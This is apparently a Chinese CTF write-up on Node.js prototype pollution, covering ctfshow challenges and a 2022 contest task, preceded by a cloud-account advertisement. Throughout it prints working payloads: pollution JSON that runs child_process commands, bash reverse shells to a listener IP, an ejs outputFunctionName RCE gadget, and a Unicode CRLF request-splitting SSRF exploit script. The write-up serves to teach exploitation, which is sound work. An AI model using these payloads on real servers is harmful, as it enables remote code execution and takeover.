Nodejs原型链污染
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
文章目录
原型链污染原理
网上很多文章,p神讲的很好
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
例题(待补充
CTFshow
主要通过题目来进行更好的理解
web338
源码下来主要是这里
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
创建了一个secret对象和user对象
utils.copy(user,req.body);
让我们可以传入post数据操作user跟进到copy()
方法
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
可以发现其实就是merge方法的逻辑只不过换了变量名
赋值的操作
object1[key] = object2[key]
那么这个key如果是__proto__
是不是就可以原型链污染呢?JSON解析的情况下
__proto__
会被认为是一个真正的“键名”
{"__proto__":{"ctfshow":"36dboy"}}
POST 传入参数通过 user
污染对象的原型那么 secert
找不到 ctfshow
属性时会一直往原型找直到在数组原型中发现 ctfshow
属性值为 36dboy
web339
login.js
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
secert.ctfshow===flag
,但是不知道flag变量的值这里不是本题考点
相较于338多了个api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
目光放在这段
res.render('api', { query: Function(query)(query)});
意思是在/api
路径上返回一个对象{ query: Function(query)(query)}
目的是污染原型链到这里query参数继而调用Function
Function
构造函数要具体看一下
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function
来个例子 理解一下如何构造Function
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
copy(user, body)
{ query: Function(query)}
{ query: Function(query)(query)}
Function()这样执行命令作用和 eval
有点类似通过上面例子也知道了如何原型链污染到 query
属性
可以执行命令的话我们考虑反弹shell
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}
vps开启监听login
接口 post此payload进行污染访问api
接口执行命令
web340
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
user对象里面还有个userinfo()
对象相当于又嵌套一层
api.js依然
res.render('api', { query: Function(query)(query)});
目的很明确与上题一样污染query
不过污染点变成了user.userinfo
, 从这里向上走两层才能到Object
userinfo.__proto__.__proto__
才是 Object
对象
payload也再套一次__proto__
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}}
web341
没有query属性利用了
预期解是用 了一个cve ejs
的 RCE
https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/
依旧是两层__proto__
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}}
在login页面打上去之后随便访问下就会反弹
web344
此题不是原型链污染哈就是正则的绕过
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
get请求
url 中不能包含大小写 8c
、2c
和 逗号
我们要构造的json数据是
/?query={"name":"admin","password":"ctfshow","isVIP":true}
逗号的url编码是%2c被匹配了用&进行绕过
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
然而还是不通是因为双引号"的url编码是%22跟ctfshow的c组合就是 %22c
,出现了2c 被匹配
可以把c进行url编码一下
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
2022西湖论剑 real_ez_node
此题类似[GYCTF2020]Node Game-nodejs
源码拿到 index.js
先看/copy路由
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
要求地址127.0.0.1访问 (req.connection.remoteAddress不能通过请求头来伪造的。可以考虑用SSRF来绕过
然后定义了user
对象并且禁掉了__proto__
,可以使用constructor.prototype
绕过因为constructor.prototype也可以操作原型链 。
然后是safeobj.expand()
调用了user
对象考虑safe-obj
原型链污染网上搜到CVE-2021-25928
测试一下poc
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);
发现确实可以
然后题目源码app.js里也有说使用ejs模板
那么可以原型链污染+ejs RCE
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4444 0>&1\"');var __tmp2"}}
constructor.prototype
替代__proto__
为
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/xxx/4444 0>&1\\"');var __tmp2"}
现在看/curl路由
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
http.get()请求了http://localhost:3000/
并传递参数q 存在
现在如何满足/copy路由下的ip为127.0.0.1呢? 利用CRLF+SSRF
参考此文https://xz.aliyun.com/t/9707#toc-11
Unicode 字符损坏造成的 HTTP 拆分攻击
exp:
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.100.196.3/4444 0>&1\\"');var __tmp2"}
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
#拿到payloadĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮıİİĮıĹĶĮijįĴĴĴĴĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
payload进行url编码传入q参数